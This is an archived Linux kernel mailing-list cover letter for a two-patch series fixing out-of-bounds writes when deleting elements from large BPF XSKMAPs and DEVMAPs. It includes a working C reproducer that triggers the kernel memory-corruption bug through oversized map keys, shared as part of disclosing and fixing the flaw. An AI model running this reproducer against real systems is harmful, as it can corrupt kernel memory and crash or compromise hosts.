netdev.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* [PATCH bpf 0/2] bpf: fix OOB accesses in map_delete_elem callbacks
@ 2024-11-15 12:53 Maciej Fijalkowski
  2024-11-15 12:53 ` [PATCH bpf 1/2] xsk: fix OOB map writes when deleting elements Maciej Fijalkowski
  2024-11-15 12:53 ` [PATCH bpf 2/2] bpf: fix OOB devmap " Maciej Fijalkowski
  0 siblings, 2 replies; 9+ messages in thread
From: Maciej Fijalkowski @ 2024-11-15 12:53 UTC (permalink / raw)
  To: bpf, ast, daniel, andrii
  Cc: netdev, magnus.karlsson, bjorn, maciej.fijalkowski, jordyzomer,
	security

Hi,

Jordy reported that for big enough XSKMAPs and DEVMAPs, when deleting
elements, OOB writes occur.

Reproducer below:

// compile with gcc -o map_poc map_poc.c -lbpf
#include <errno.h>
#include <linux/bpf.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>


int main() {
  // Create a large enough BPF XSK map
  int map_fd;
  union bpf_attr create_attr = {
      .map_type = BPF_MAP_TYPE_XSKMAP,
      .key_size = sizeof(int),
      .value_size = sizeof(int),
      .max_entries = 0x80000000 + 2,
  };

  map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &create_attr, sizeof(create_attr));
  if (map_fd < 0) {
    fprintf(stderr, "Failed to create BPF map: %s\n", strerror(errno));
    return 1;
  }


  // Delete an element from the map using syscall
  unsigned int key = 0x80000000 + 1;
  if (syscall(SYS_bpf, BPF_MAP_DELETE_ELEM,
              &(union bpf_attr){
                  .map_fd = map_fd,
                  .key = &key,
              },
              sizeof(union bpf_attr)) < 0) {
    fprintf(stderr, "Failed to delete element from BPF map: %s\n",
            strerror(errno));
    return 1;
  }

  close(map_fd);
  return 0;
}

This tiny series changes data types from int to u32 of keys being used
for map accesses.

Thanks,
Maciej

Maciej Fijalkowski (2):
  xsk: fix OOB map writes when deleting elements
  bpf: fix OOB devmap writes when deleting elements

 kernel/bpf/devmap.c | 6 +++---
 net/xdp/xskmap.c    | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

-- 
2.34.1


^ permalink raw reply	[flat|nested] 9+ messages in thread
end of thread, other threads:[~2024-11-21  6:31 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2024-11-15 12:53 [PATCH bpf 0/2] bpf: fix OOB accesses in map_delete_elem callbacks Maciej Fijalkowski
2024-11-15 12:53 ` [PATCH bpf 1/2] xsk: fix OOB map writes when deleting elements Maciej Fijalkowski
2024-11-15 13:12   ` Greg KH
2024-11-15 15:01   ` Toke Høiland-Jørgensen
2024-11-21  6:28     ` John Fastabend
2024-11-15 12:53 ` [PATCH bpf 2/2] bpf: fix OOB devmap " Maciej Fijalkowski
2024-11-15 13:13   ` Greg KH
2024-11-15 15:01   ` Toke Høiland-Jørgensen
2024-11-21  6:31     ` John Fastabend

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).